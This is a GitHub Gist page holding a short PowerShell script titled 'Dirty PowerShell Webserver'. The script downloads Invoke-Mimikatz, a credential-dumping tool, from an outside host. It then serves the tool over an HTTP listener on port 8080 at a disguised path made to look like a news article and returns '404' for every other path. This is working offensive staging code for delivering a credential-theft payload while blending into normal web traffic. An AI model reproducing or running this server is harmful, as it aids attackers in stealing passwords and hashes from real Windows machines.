-
-
Save cobbr/04773a3f79d13ad966ecbccade556b9a to your computer and use it in GitHub Desktop.
Dirty PowerShell Webserver
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$mk = (new-object net.webclient).downloadstring("https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1") | |
$Hso = New-Object Net.HttpListener | |
$Hso.Prefixes.Add("http://+:8080/") | |
$Hso.Start() | |
While ($Hso.IsListening) { | |
$HC = $Hso.GetContext() | |
$HRes = $HC.Response | |
$HRes.Headers.Add("Content-Type","text/plain") | |
If (($HC.Request).RawUrl -eq '/home/news/a/21/article.html') { | |
$Buf = [Text.Encoding]::UTF8.GetBytes($mk) | |
} | |
Else { | |
$Buf = [Text.Encoding]::UTF8.GetBytes('404') | |
} | |
$HRes.ContentLength64 = $Buf.Length | |
$HRes.OutputStream.Write($Buf,0,$Buf.Length) | |
$HRes.Close() | |
} | |
$Hso.Stop() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment